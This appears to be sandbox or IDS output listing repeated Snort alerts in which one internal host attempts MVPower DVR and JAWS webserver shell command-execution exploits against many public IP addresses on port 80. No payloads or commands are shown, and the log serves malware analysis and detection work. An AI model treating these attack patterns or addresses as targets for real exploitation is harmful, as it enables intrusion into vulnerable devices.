Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49392 -> 149.106.147.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45014 -> 13.232.155.65:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34700 -> 104.218.232.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34700 -> 104.218.232.35:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36518 -> 104.104.29.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39366 -> 82.165.23.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38066 -> 189.43.147.177:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44076 -> 193.255.219.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36518 -> 104.104.29.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47062 -> 103.140.205.113:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39366 -> 82.165.23.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38066 -> 189.43.147.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44076 -> 193.255.219.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47062 -> 103.140.205.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48036 -> 172.66.201.240:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48036 -> 172.66.201.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58162 -> 46.8.153.39:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46062 -> 109.109.54.95:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58162 -> 46.8.153.39:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46062 -> 109.109.54.95:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50014 -> 184.28.129.186:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36682 -> 116.124.75.172:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37700 -> 81.196.66.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39674 -> 13.250.76.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47068 -> 104.20.202.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53538 -> 18.118.98.24:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50014 -> 184.28.129.186:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34058 -> 68.61.182.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47068 -> 104.20.202.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54934 -> 23.214.128.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58572 -> 80.209.252.57:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36682 -> 116.124.75.172:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54720 -> 31.13.84.169:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55418 -> 92.122.35.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36766 -> 147.47.56.57:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37700 -> 81.196.66.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39674 -> 13.250.76.130:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34058 -> 68.61.182.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54934 -> 23.214.128.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58572 -> 80.209.252.57:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54720 -> 31.13.84.169:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55418 -> 92.122.35.7:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36766 -> 147.47.56.57:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42836 -> 72.167.55.19:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42836 -> 72.167.55.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33212 -> 184.29.60.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54108 -> 51.255.0.122:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36748 -> 5.39.219.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45736 -> 23.42.132.46:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33212 -> 184.29.60.36:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54108 -> 51.255.0.122:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36748 -> 5.39.219.157:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45736 -> 23.42.132.46:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53538 -> 18.118.98.24:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43336 -> 47.225.41.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43072 -> 119.204.215.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46326 -> 52.212.19.165:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52858 -> 106.55.143.9:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44460 -> 89.161.252.119:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57520 -> 77.51.82.198:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38562 -> 154.38.99.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52934 -> 23.26.195.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38798 -> 23.216.200.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47462 -> 41.60.17.174:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43336 -> 47.225.41.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43092 -> 119.204.215.178:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38562 -> 154.38.99.116:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52934 -> 23.26.195.86:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46326 -> 52.212.19.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44460 -> 89.161.252.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52858 -> 106.55.143.9:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51830 -> 114.55.125.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36038 -> 218.16.123.214:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:57520 -> 77.51.82.198:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38798 -> 23.216.200.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37864 -> 137.59.86.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47462 -> 41.60.17.174:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51830 -> 114.55.125.176:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37864 -> 137.59.86.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34314 -> 38.48.143.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33768 -> 34.210.176.69:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34314 -> 38.48.143.91:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33768 -> 34.210.176.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36516 -> 172.98.167.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57910 -> 220.87.17.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43566 -> 213.32.98.93:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:32998 -> 184.26.16.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43656 -> 52.77.163.67:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36516 -> 172.98.167.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43566 -> 213.32.98.93:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:32998 -> 184.26.16.67:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43656 -> 52.77.163.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56754 -> 52.88.189.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44088 -> 174.138.113.58:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41734 -> 2.23.10.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57818 -> 191.81.77.161:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56754 -> 52.88.189.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40566 -> 108.156.122.28:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44088 -> 174.138.113.58:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49226 -> 210.154.254.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41734 -> 2.23.10.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51226 -> 60.204.205.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40566 -> 108.156.122.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40466 -> 201.77.123.117:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45096 -> 39.97.135.11:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:57818 -> 191.81.77.161:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49226 -> 210.154.254.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51226 -> 60.204.205.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45096 -> 39.97.135.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52106 -> 63.119.95.169:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46816 -> 2.19.237.30:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49624 -> 173.237.181.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54022 -> 23.65.224.107:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46816 -> 2.19.237.30:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54022 -> 23.65.224.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57768 -> 203.32.78.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:57768 -> 203.32.78.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33488 -> 221.113.168.50:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51988 -> 13.75.119.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60518 -> 37.100.134.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58360 -> 42.193.19.169:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39718 -> 4.159.63.164:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58002 -> 18.173.187.36:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51988 -> 13.75.119.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33488 -> 221.113.168.50:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56836 -> 187.45.195.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60518 -> 37.100.134.205:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58360 -> 42.193.19.169:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39718 -> 4.159.63.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58002 -> 18.173.187.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35694 -> 2.193.208.197:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56836 -> 187.45.195.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35694 -> 2.193.208.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42408 -> 52.217.226.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44084 -> 104.98.233.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37356 -> 121.89.58.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42408 -> 52.217.226.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37358 -> 121.89.58.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44084 -> 104.98.233.87:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37356 -> 121.89.58.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37358 -> 121.89.58.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42282 -> 158.199.131.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47970 -> 92.205.173.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46060 -> 104.102.21.224:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40596 -> 52.220.154.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42282 -> 158.199.131.36:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47970 -> 92.205.173.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44008 -> 118.71.31.48:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46060 -> 104.102.21.224:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40596 -> 52.220.154.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54394 -> 44.239.15.122:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44008 -> 118.71.31.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57014 -> 54.214.93.16:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54394 -> 44.239.15.122:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48088 -> 186.7.216.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41870 -> 186.7.208.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33582 -> 52.80.217.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35426 -> 154.31.215.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52940 -> 93.190.199.140:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59966 -> 139.162.20.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:57014 -> 54.214.93.16:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48088 -> 186.7.216.19:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41870 -> 186.7.208.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35040 -> 125.23.46.59:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35426 -> 154.31.215.197:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33582 -> 52.80.217.220:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52940 -> 93.190.199.140:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59966 -> 139.162.20.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35040 -> 125.23.46.59:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58186 -> 23.198.87.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33372 -> 63.195.174.53:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58186 -> 23.198.87.106:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33372 -> 63.195.174.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45514 -> 34.36.39.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44120 -> 54.67.63.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38012 -> 50.2.133.75:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38292 -> 138.186.189.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49396 -> 185.242.83.139:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43446 -> 128.199.34.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57802 -> 156.241.117.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45514 -> 34.36.39.20:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44120 -> 54.67.63.127:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38012 -> 50.2.133.75:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49396 -> 185.242.83.139:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43446 -> 128.199.34.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38538 -> 113.21.246.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49524 -> 139.9.59.202:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38538 -> 113.21.246.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49524 -> 139.9.59.202:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55844 -> 34.120.76.126:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45776 -> 85.122.208.160:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60976 -> 68.182.254.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40478 -> 138.4.80.75:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40878 -> 95.100.233.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55844 -> 34.120.76.126:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53690 -> 23.212.130.139:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54594 -> 94.121.106.130:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45776 -> 85.122.208.160:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38324 -> 75.101.148.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60976 -> 68.182.254.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47190 -> 38.238.70.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40878 -> 95.100.233.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55640 -> 62.31.96.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35950 -> 191.61.185.208:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53690 -> 23.212.130.139:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38324 -> 75.101.148.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33748 -> 118.98.239.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47190 -> 38.238.70.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55640 -> 62.31.96.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37916 -> 52.36.0.173:80
